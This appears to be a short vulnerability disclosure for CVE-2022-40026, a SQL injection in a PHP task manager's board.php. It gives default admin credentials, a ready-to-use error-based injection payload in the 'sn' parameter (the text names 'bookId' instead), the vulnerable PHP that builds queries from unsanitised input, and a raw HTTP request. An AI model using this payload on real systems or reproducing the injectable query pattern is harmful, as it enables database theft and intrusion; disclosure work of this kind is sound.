CVE-2022-40026 Simple Task Managing System - SQL injection

Simple Task Managing System v1.0 exists to contain a SQL injection vulnerability via the bookId parameter at /board.php

username:admin password:admin ----> {ip}/board.php

Supplier： https://www.sourcecodester.com/php/15624/simple-task-managing-system-php-mysqli-free-source-code.html

/board.php has SQL injection

Payload: http://localhost:80/cve/Task Managing System in PHP/board.php?sn=admin1' AND ROW(6066,2526)>(SELECT COUNT(*),CONCAT(0x7171787a71,(SELECT (ELT(6066=6066,1))),0x71787a6a71,FLOOR(RAND(0)*2))x FROM (SELECT 5176 UNION SELECT 2058 UNION SELECT 2430 UNION SELECT 5444)a GROUP BY x) AND 'MkOa'='MkOa

SQL injection because $shortName can be closed

```php
<?php
    $sql = "SELECT * FROM `projects` WHERE `Short name` = '$shortName'";
    if($result = $connection->query($sql)){
        $rowsCount = $result->num_rows;
        if($rowsCount>0){
            $row = $result->fetch_assoc();
            $result->free_result();
        }
        else{
            echo '<span class="error-msg">sql error</span>';
        }
    }
?>

<div class="container task-list-container">
    <h1>Task list</h1>
    <h2>Current project: <strong><?php echo $row['Full name']; ?></strong></h2>
    <div class="lg-6 whoami">
        <?php echo 'Logged in as <strong>' . $_SESSION['user'] . '</strong> <a href="logout.php">[logout]</a>'; ?>
    </div>
    <div class="lg-6 createBoard">
        <a href="newTask.php?sn=<?php echo $shortName ?>" class="btn">Create task</a>
    </div>
    <div class="lg-12">
        <a class="back" href="index.php"><--- Back to projects</a>
    </div>
    <div class="task-list">
        <div class="lg-3 backlog">
            <h3>Backlog</h3>
            <div>

                <?php

                    $sql1 = "SELECT * FROM tasks WHERE project_short_name = '$shortName' AND state = '1'";
                    $sql2 = "SELECT * FROM tasks WHERE project_short_name = '$shortName' AND state = '2'";
                    $sql3 = "SELECT * FROM tasks WHERE project_short_name = '$shortName' AND state = '3'";
                    $sql4 = "SELECT * FROM tasks WHERE project_short_name = '$shortName' AND state = '4'";

                    if($result = $connection->query($sql1)){
                        $projectsCount = $result->num_rows;
                        if($projectsCount>0){

                            while ($row = mysqli_fetch_array($result)) {
                                $tn = $row['project_task_num'];
                                echo "
                                <div class='task-box'>
                                    <a href='task.php?sn=$shortName&tn=$tn' class='task'
                                        <h4>" . ($row['task_name']) . "</h4>
                                        <div>
                                            <span class='task-id'>" . $row['project_short_name'] . "-". $row['project_task_num'] ."</span>
```

Payload

```
GET http://localhost:80/cve/Task Managing System in PHP/board.php?sn=admin1' AND ROW
Host: localhost
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
```

```
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=34a9idaoj7m7miduqt31hupisn
Connection: close
```